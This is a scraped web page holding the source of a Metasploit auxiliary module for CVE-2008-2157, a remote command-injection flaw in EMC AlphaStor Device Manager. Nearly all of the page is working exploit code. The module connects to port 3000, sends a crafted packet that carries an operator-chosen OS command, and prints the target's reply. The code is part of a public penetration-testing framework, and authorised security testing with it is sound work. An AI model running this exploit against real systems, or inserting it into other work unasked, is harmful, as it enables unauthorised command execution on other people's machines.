Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp78def initialize(info = {})9super(update_info(info,10'Name' => 'EMC AlphaStor Device Manager Arbitrary Command Execution',11'Description' => %q{12EMC AlphaStor Device Manager is prone to a remote command-injection vulnerability13because the application fails to properly sanitize user-supplied input.14},15'Author' => [ 'MC' ],16'License' => MSF_LICENSE,17'References' =>18[19[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=703' ],20[ 'OSVDB', '45715' ],21[ 'CVE', '2008-2157' ],22[ 'BID', '29398' ],23],24'DisclosureDate' => '2008-05-27'))2526register_options(27[28Opt::RPORT(3000),29OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']),30])31end3233def run34connect3536data = "\x75" + datastore['CMD']37pad = "\x00" * 5123839pkt = data + pad4041print_status("Sending command: #{datastore['CMD']}")42sock.put(pkt)4344# try to suck it all in.45select(nil,nil,nil,5)4647res = sock.get_once || ''4849res.each_line do |info|50print_status("#{info.gsub(/[^[:print:]]+/,"")}") # hack.51end5253disconnect54rescue ::Rex::ConnectionError => e55print_error 'Connection failed'56rescue ::EOFError => e57print_error 'No reply'58end59end606162